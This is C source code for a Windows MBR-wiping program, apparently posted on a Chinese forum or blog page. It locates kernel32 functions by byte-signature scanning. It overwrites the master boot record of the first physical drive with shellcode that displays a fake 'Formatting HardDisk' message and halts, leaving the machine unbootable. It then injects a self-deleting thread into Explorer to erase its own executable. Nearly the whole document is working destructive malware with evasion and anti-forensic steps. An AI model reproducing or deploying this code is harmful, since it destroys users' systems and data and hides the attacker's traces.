/*++
(c) 2011 khuangia@gmail.com
--*/
#pragma comment(linker, "/ENTRY:main")
#pragma comment(linker, "/MERGE:.rdata=.data")
#pragma comment(linker, "/MERGE:.text=.data")
#pragma comment(linker, "/ALIGN:0x200")
/**************************************************************************/
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <winioctl.h>
/**************************************************************************/
#define LEN_SHELL_CODE
81
#define LEN_ALLOC_EXEC
4096
#define LEN_MAX_SEARCH
0x100000
#define LEN_INLINECD_SKIP
0
#define MAR_TOLOWER(x)
((x) | 0x20)
#define MAR_ISXDIGIT(c)
(('0'<=(c)&&(c)<='9')||('a'<=(c)&&(c)<='f')||('A'<=(c)&&(c)<='F'))
#define MAR_ISDIGIT(c)
('0' <= (c) && (c) <= '9')
/**************************************************************************/
#ifdef _DEBUG
void __stdcall ErrMsg(const char *format, ...) {
va_list lstVa;
char _s[200] = {0};
va_start(lstVa, format);
_vsnprintf(_s, 200, format, lstVa);
va_end(lstVa);
MessageBox(0, _s, "mbrvdemo", 0);
};
#endif
/**************************************************************************/
/*
USING FUNCTIONS:
kernel32.CreateFileA
kernel32.DeviceIoControl
kernel32.WriteFile
kernel32.CloseHandle
kernel32.CreateRemoteThread
kernel32.DeleteFileA
kernel32.OpenProcess
user32.GetWindowThreadProcessId
kernel32.WriteProcessMemory
kernel32.VirtualFreeEx
user32.FindWindowA
kernel32.VirtualAllocEx
kernel32.GetModuleFileNameA
*/
/**************************************************************************/
typedef HANDLE
(__stdcall *pfnCreateFileA)(
const char *,
unsigned long,
unsigned long,
LPSECURITY_ATTRIBUTES,
unsigned long,
unsigned long,
HANDLE
);
typedef long
(__stdcall *pfnWriteProcessMemory)(
HANDLE,
LPVOID,
LPVOID,
unsigned long,
LPDWORD
);
typedef long
(__stdcall *pfnDeviceIoControl)(
HANDLE,
unsigned long,
LPVOID,
unsigned long,
LPVOID,
unsigned long,
LPDWORD,
LPOVERLAPPED
);
typedef HANDLE
(__stdcall *pfnCreateRemoteThread)(
HANDLE,
LPSECURITY_ATTRIBUTES,
unsigned long,
LPTHREAD_START_ROUTINE,
LPVOID,
unsigned long,
LPDWORD
);
typedef HANDLE
(__stdcall *pfnOpenProcess)(
unsigned long,
long,
unsigned long
);
typedef long
(__stdcall *pfnDeleteFileA)(
const char *
);
typedef long
(__stdcall *pfnWriteFile)(
HANDLE,
LPCVOID,
unsigned long,
LPDWORD,
LPOVERLAPPED
);
typedef long
(__stdcall *pfnCloseHandle)(
HANDLE
);
typedef LPVOID
(__stdcall *pfnVirtualAllocEx)(
HANDLE,
LPVOID,
unsigned long,
unsigned long,
unsigned long
);
typedef DWORD
(__stdcall *pfnGetModuleFileNameA)(
HMODULE,
LPSTR,
unsigned long
);
typedef long
(__stdcall *pfnTerminateProcess)(
HANDLE,
unsigned int
);
/**************************************************************************/
struct tagDelData {
char
szFilenm[_MAX_PATH];
pfnDeleteFileA
fnDelFileA;
};
void __stdcall DelDoing(LPVOID param) {
struct tagDelData *p = (struct tagDelData*)param;
if( p && p->fnDelFileA) {
while( !p->fnDelFileA(p->szFilenm));
}
};
__inline void __cdecl ma_memcpy( void *d, const void *s, size_t i) {
_asm {
mov ecx, i
mov esi, s
mov edi, d
mov ebx, ecx
and ecx, 3
rep movsb
mov ecx, ebx
shr ecx, 2
rep movsd
}
};
unsigned long __fastcall ma_gethex( const char *cp) {
unsigned long
result
= 0,
value
= 0;
while( MAR_ISXDIGIT(*cp) &&
(value = MAR_ISDIGIT(*cp) ? *cp-'0' : MAR_TOLOWER(*cp)-'a'+10) < 16) {
result = result * 16 + value;
cp++;
}
return result;
}
char* __stdcall FindAt( char *lpDll, const char *sig) {
char
*lp
= NULL;
long
tag
= 0,
i
= 0,
l
= 0;
char
c
= 0,
hex[3]
= {0};
for( i = 0; i < LEN_MAX_SEARCH; i++) {
lp
= lpDll + i;
tag
= 1;
for( l = 0; 0x00 != sig[l * 2]; l++, lp++) {
hex[0] = sig[ l * 2 ];
if( '?' == hex[0]) {
continue;
}
else {
hex[1]
= sig[l * 2 + 1];
hex[2]
= 0;
c
= (char)ma_gethex(hex);
}
__try {
if( *lp != c) {
tag = 0;
break;
}
}
__except(1) {
#ifdef _DEBUG
ErrMsg("ACCESS VOLICATION");
#endif
exit(1);
}
}
if( 1 == tag)
return (lpDll + i);
}
return NULL;
};
/**************************************************************************
Signature Table
**************************************************************************/
const unsigned char
bytDoFormat[LEN_SHELL_CODE]
=
"\xB8\x12\x00\xCD\x10\x66\xB8\x03\x07\x66\xB9\x01\x00\x66\xBA\x80\x00\xCD\x13"
"\xBD\x26\x7C\xB9\x2B\x00\xB8\x01\x13\xBB\x02\x00\xBA\x10\x0A\xCD\x10\xE2\xFE"
"\x46\x6F\x72\x6D\x61\x74\x69\x6E\x67\x20\x48\x61\x72\x64\x44\x69\x73\x6B\x20"
"\x2E\x2E\x2E\x20\x50\x6C\x65\x61\x73\x65\x20\x6B\x65\x65\x70\x20\x70\x6F\x77"
"\x65\x72\x20\x6F\x6E",
sigCreateFileA[] =
"8BFF558BECFF7508E8????????85C0????FF7520FF751CFF7518FF7514FF7510FF750CFF7004"
"E8????????5DC21C00",
sigWriteMemory[]=
"8BFF558BEC51518B450C538B5D14568B35????????578B7D088945F88D4514506A408D45FC50"
"8D45F85057895DFCFFD63D4E0000C0745C85C07C4D8B4514A8CC74648D4D1451508D45FC508D"
"45F85057FFD68D45085053FF7510FF750C57FF15????????8B4D1885C90F859E00000085C07C"
"1553FF750C57FF15????????33C0405F5E5BC9C21400",
sigDviceIoCrt[]
=
"6A1468????????E8????????8B4D0C8BC1250000FFFF3D000009000F95C08B752433DBFF751C"
"FF7518FF7514FF7510513BF375??3AC38D45DC50535353FF75080F84????0000FF15????????"
"3D030100000F84????00003BC30F8C????00008B45208B4DE0890833C040E8??????00C22000",
sigCreateReth[]
=
"681004000068????????E8????FFFFA1????????8945E48B4D08898D44FCFFFF8B750C8B5D14"
"8B4518898534FCFFFF8B4520898538FCFFFF33D2899548FCFFFF33C08DBD4CFCFFFFAB8D8520"
"FCFFFF50F6451E010F85??????0052FF751051E8??????FF85C00F8C??????0033FF4757FFB5"
"28FCFFFF53FFB534FCFFFF8D8558FCFFFF50E8??????FF33DB53568D85E0FBFFFF50E8??????"
"FF578D8D20FCFFFF518D8D58FCFFFF518D8D3CFCFFFF518BB544FCFFFF565068FF031F008D85"
"50FCFFFF50FF15????????898554FCFFFF3BC30F8C??????00895DFC83FEFF75??536A1C8D85"
"F8FBFFFF5053FFB550FCFFFFFF15????????898554FCFFFF3BC30F8C??????00536A088D8548"
"FCFFFF5057535357FF15????????898554FCFFFF3BC30F8C??????00399D48FCFFFF0F85????"
"??00803D08??887C000F85??????008B8550FCFFFF89854CFFFFFF8B853CFCFFFF898550FFFF"
"FF8B8540FCFFFF898554FFFFFF6A0C6801000100538D8524FFFFFF50FF15????????8B8544FF"
"FFFF898554FCFFFF399D54FCFFFF0F8C??????008B8538FCFFFF3BC374??8B8D40FCFFFF8908"
"F6451C0475??8D851CFCFFFF50FFB550FCFFFFFF15????????834DFCFFE8????00008B8550FC"
"FFFF8B4DE4E8??????FFE8??????FFC21C00",
sigOpenProces[]
=
"8BFF558BEC83EC208B45108945F88B450C5633F6F7D81BC083E0028945EC8D45F8508D45E050"
"FF75088D4510508975FCC745E0180000008975E48975E88975F08975F4FF15????????3BC65E"
"0F8C??????008B4510C9C20C00",
sigDeleteFilA[]
=
"8BFF558BECFF7508E8??????FF85C074??FF7004E8????00005DC20400",
sigWriteFile[] =
"6A1868????????E8????FFFF8B5D1433C93BD97402890B64A1180000008B40308B7D0883FFF4"
"0F84??????0083FFF50F84??????0083FFF60F84??????008BC7250300001083F8030F84????"
"??008B7518513BF10F85??????0051FF7510FF750C8D45E05051515157FF15????????3D0301"
"00000F84??????0085C00F8C??????008B45E4890333C040E8??????FFC21400",
sigCloseHandle[] =
"8BFF558BEC64A1180000008B48308B450883F8F40F84??????0083F8F50F84??????0083F8F6"
"0F84??????008BC881E10300001083F903500F84??????00FF15????????85C00F8C??????00"
"33C0405DC20400",
sigVirtualAllocEx[] =
"6A1068????????E8??????FF8B450C85C075??8365FC00FF7518FF75148D4510506A008D450C"
"50FF7508FF15????????8945E0834DFCFF85C00F8C??????008B450CE8??????FFC21400",
sigGetModFileNmA[] =
"8BFF558BEC83EC105764A1180000008B7D108B40308D0C3F51FF35????????FF7018FF15????"
"????85C08945FC0F84??????00565750FF7508E8C8FEFFFF8BF08D0436668945F866??????85"
"F6668945FA74??833D????????008D45F86A01508D45F0500F84??????00FF15????????85C0"
"0F8C??????000FB775F03BFE0F82??????0076038D7E0157FF75F4FF750CFF15????????83C4"
"0C8D45F050FF15????????8D45F850FF15????????8BC65E5FC9C20C00",
sigTerminateProcess[] =
"8BFF558BEC837D080075??6A06E8??????00EB??FF750CFF7508FF15????????85C07C??33C0"
"40EB??50E8??????0033C05DC20800";
/**************************************************************************
Main START
**************************************************************************/
void __stdcall main() {
//--------------------------------------------------------------
HWND
hMe;
unsigned long
nId
= 0,
nWritten
= 0,
nReturn
= 0,
ulKnlBase
= 0,
ulNtBase
= 0;
HANDLE
hNewp
= INVALID_HANDLE_VALUE,
hDevice
= INVALID_HANDLE_VALUE;
void
*lpCode
= NULL,
*lpData
= NULL;
struct tagDelData
rmvd;
unsigned char
lpMbrNew[512]= {0};
//--------------------------------------------------------------
// --- here is the functions -----------------------------------
pfnCreateFileA
fnCreateFileA;
pfnCreateRemoteThread
fnCreateRemoteThread;
pfnDeviceIoControl
fnDeviceIoControl;
pfnOpenProcess
fnOpenProcess;
pfnWriteProcessMemory
fnWriteProcessMemory;
pfnWriteFile
fnWriteFile;
pfnCloseHandle
fnCloseHandle;
pfnVirtualAllocEx
fnVirtualAllocEx;
pfnGetModuleFileNameA
fnGetModFileNmA;
pfnTerminateProcess
fnExit;
//--------------------------------------------------------------
// ----------- however, get kernel32 base address first --------
__asm {
push
esi
xor
eax,
eax
mov
eax,
fs:[eax+30h]
mov
eax,
[eax+0ch]
mov
esi,
[eax+0ch]
lodsd
mov
eax,
[eax]
mov
eax,
[eax+18h]
mov
ulKnlBase,
eax
xor
eax,
eax
pop
esi
}
// i have no idea ..... tell me, how to get NtDll base
ulNtBase = 0x7C900000;
// then, find our functions
fnCreateFileA
= (pfnCreateFileA)FindAt( (char *)ulKnlBase, sigCreateFileA);
fnCreateRemoteThread= (pfnCreateRemoteThread)FindAt( (char *)ulKnlBase, sigCreateReth);
fnDeviceIoControl
= (pfnDeviceIoControl)FindAt( (char *)ulKnlBase, sigDviceIoCrt);
fnWriteProcessMemory= (pfnWriteProcessMemory)FindAt( (char *)ulKnlBase, sigWriteMemory);
rmvd.fnDelFileA
= (pfnDeleteFileA)FindAt( (char *)ulKnlBase, sigDeleteFilA);
fnOpenProcess
= (pfnOpenProcess)FindAt( (char *)ulKnlBase, sigOpenProces);
fnWriteFile
= (pfnWriteFile)FindAt( (char *)ulKnlBase, sigWriteFile);
fnCloseHandle
= (pfnCloseHandle)FindAt( (char *)ulKnlBase, sigCloseHandle);
fnVirtualAllocEx
= (pfnVirtualAllocEx)FindAt( (char *)ulKnlBase, sigVirtualAllocEx);
fnGetModFileNmA
= (pfnGetModuleFileNameA)FindAt( (char *)ulKnlBase, sigGetModFileNmA);
fnExit
= (pfnTerminateProcess)FindAt( (char *)ulKnlBase, sigTerminateProcess);
#ifdef
_DEBUG
ErrMsg( "%08X", fnCreateFileA);
ErrMsg( "%08X", fnCreateRemoteThread);
ErrMsg( "%08X", fnDeviceIoControl);
ErrMsg( "%08X", fnWriteProcessMemory);
ErrMsg( "%08X", rmvd.fnDelFileA);
ErrMsg( "%08X", fnOpenProcess);
ErrMsg( "%08X", fnWriteFile);
ErrMsg( "%08X", fnCloseHandle);
ErrMsg( "%08X", fnVirtualAllocEx);
ErrMsg( "%08X", fnGetModFileNmA);
#endif
/*
B81200
mov ax, 12H
CD10
int 10h
66:B8 0307 mov ax,703
66:B9 0100 mov cx,1
66:BA 8000 mov dx,80
CD 13 int 13
BD187C
mov bp, Msg ; ES:BP = 串地址
B91800
mov cx, 18h ; CX = 串长度
B80113
mov ax, 1301h ; AH = 13, AL = 01h
BB0C00
mov bx, 000ch ;
BA1D0E
mov dx, 0e1dh ; dh行, dl列
CD10
int 10h ; 10h 号中断
E2FE
loop $
*/
#define exit_app
fnExit( (HANDLE)-1, 0)
ma_memcpy( lpMbrNew, bytDoFormat, LEN_SHELL_CODE);
lpMbrNew[510] = 0x55;
lpMbrNew[511] = 0xAA;
hDevice = fnCreateFileA(
"\\\\.\\PHYSICALDRIVE0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if( INVALID_HANDLE_VALUE == hDevice)
exit_app;
fnDeviceIoControl(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&nReturn,
NULL
);
fnWriteFile( hDevice, lpMbrNew, sizeof(lpMbrNew), &nWritten, NULL);
fnDeviceIoControl(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
&nReturn,
NULL
);
fnCloseHandle( hDevice);
if( !(hMe = FindWindowA( "PROGMAN", NULL)))
exit_app;
GetWindowThreadProcessId( hMe, &nId);
if( !(hNewp = fnOpenProcess( PROCESS_ALL_ACCESS, FALSE, nId)))
exit_app;
lpCode = fnVirtualAllocEx( hNewp, NULL, LEN_ALLOC_EXEC, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
lpData = fnVirtualAllocEx( hNewp, NULL, sizeof(struct tagDelData), MEM_COMMIT, PAGE_READWRITE);
if( !(lpCode && lpData)) {
if( hNewp)
fnCloseHandle(hNewp);
exit_app;
}
fnWriteProcessMemory( hNewp, lpCode, (void *)DelDoing, LEN_ALLOC_EXEC, &nWritten);
fnGetModFileNmA( NULL, rmvd.szFilenm, _MAX_PATH);
fnWriteProcessMemory( hNewp, lpData, &rmvd, sizeof(rmvd), &nWritten);
// after crate thread, do not do any access
fnCreateRemoteThread(hNewp, NULL, 0, (LPTHREAD_START_ROUTINE)lpCode, lpData, 0, &nWritten);
#undef exit_app
};
1054
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
